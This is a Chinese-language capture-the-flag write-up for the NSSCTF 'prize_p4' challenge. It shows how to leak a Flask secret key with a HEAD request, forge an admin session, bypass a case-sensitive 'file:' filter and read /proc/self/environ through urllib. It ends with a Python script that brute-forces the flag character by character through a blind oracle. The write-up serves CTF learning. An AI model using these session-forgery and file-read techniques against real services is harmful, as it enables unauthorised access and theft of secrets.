字符串盲注-NSSCTF-prize_p4

1、打开环境，一个登陆框，随便输入数据，提示U R not admin，并给出一个getkey的链接。

2、随后给出一段代码，意思就是不能用GET方法。

@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY

3、BP修改为HEAD方法，得到SECRET_KEY

4、进行请求伪造，将session中的admin改为True。

5、用这个新的session访问/home，得到源码

6、格式化一下

# -*- coding: utf-8 -*- from flask import Flask, request, session, render_template, url_for, redirect, render_template_string import base64 import urllib.request import uuid import flag SECRET_KEY = str(uuid.uuid4()) app = Flask(__name__) app.config.update( dict( SECRET_KEY=SECRET_KEY, ) ) # src in /app @app.route('/') @app.route('/index', methods=['GET']) def index(): return render_template("index.html") @app.route('/get_data', methods=["GET", 'POST']) def get_data(): data = request.form.get('data', '123') if type(data) is str: data = data.encode('utf8') url = request.form.get('url', 'http://127.0.0.1:8888/') if data and url: session['data'] = data session['url'] = url session["admin"] = False return redirect(url_for('home')) return redirect(url_for('/')) @app.route('/home', methods=["GET"]) def home(): if session.get("admin", False): return render_template_string(open(__file__).read()) else: return render_template("home.html", data=session.get('data', 'Not find data...')) @app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"] = SECRET_KEY return render_template_string('''@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY''') @app.route('/get_hindd_result', methods=["GET"]) def get_hindd_result(): if session['data'] and session['url']: if 'file:' in session['url']: return "no no no" data = (session['data']).decode('utf8') url_text = urllib.request.urlopen(session['url']).read().decode('utf8') if url_text in data or data in url_text: return "you get it" return "what ???" @app.route('/getflag', methods=["GET"]) def get_flag(): res = flag.waf(request) return res if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=8888)

出现几个路由：

/或者/index，返还渲染后的index.html。

/get_data，给session中的data和url以及admin赋值。

/home，判断session中的admin是否为false，不是的话返回源码。

/getkey，获得key的途径，我们用过。

/get_hindd_result，先判断session[url]里是否有file（大写即可绕过），有的话直接返还no no no，否则的话就是给data赋值，然后读取session['url'])文件，值赋给url_text，最后判断data和url_text是否相互包含。

访问/getflag，然后是一个waf，返回res

刚开始根据提示和引入的flag，想读取/app/flag.py的内容，但是各种尝试都不行。后来看WP说是flag在/proc/self/environ中。这玩意儿里面包含当前进程的所有环境变量。

思路：控制session，对flag一个字符一个字符爆破，先访问/get_data，然后得到session后继续访问/get_hindd_result，用回显判断传入的部分flag是否正确，正确的话继续下一个字符的爆破直至到}。

# -*- coding: utf-8 -*- import string#引入string，方便写list import requests url1="http://node4.anna.nssctf.cn:22400/get_data" url2="http://node4.anna.nssctf.cn:22400/get_hindd_result" flag="NSSCTF{" while 1: for i in string.printable: tmp_flag=flag+i data={"url":"File:///proc/self/environ","data":tmp_flag} res=requests.session()#获取session的对话 res.get(url1,data=data)#给session的url和data赋值 session_tmp=str(res.cookies.values())[2:-2]#res.cookies.values() 返回的是一个 cookies 值的列表。打印出来的值是有['值']，我们只需要值，要进行切片操作，但是必须转化为字符才能截取字符，不然默认为列表切片 flag_resp=requests.get(url2,cookies={"session":session_tmp})#给cookie赋值，因为读文件是从session取值的 if "you get it" in flag_resp.text: flag+=i print(flag) break

运行得到flag